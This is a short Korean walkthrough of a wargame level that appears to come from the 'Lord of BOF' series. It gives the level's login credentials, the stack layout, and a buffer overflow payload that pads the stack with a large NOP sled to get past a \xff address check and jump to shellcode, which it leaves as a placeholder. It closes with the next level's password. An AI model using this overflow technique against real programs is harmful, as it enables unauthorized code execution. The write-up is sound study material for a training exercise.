level8 troll

입장 ID:troll

입장 PW:aspirin

소스코드가 많이 짧아졌다. argv[1][46]이 \xff면 종료된다.

스택이 쌓이게 되면 \xff에서 \x00까지 낮은주소로 향하게 된다.

스택 구조는 아래와 같다.

buffer 40 | SFP 4 | RET 4 

r `python -c 'print "A"*44+"\xaa\xbb\xcc\xbf"+"\x90"*130014'`를 해준 상태에서 esp를 확인해보니 리턴주소로 사용할 NOP의 주소가 \xff가 아니게 된다.

payload

./vampire `python -c 'print "A"*44+"&(argv[1][46]이 \xff가아닌 NOP)+"\x90"*130020"+"쉘코드"'`

다음 ID:vampire

다음 PW:music world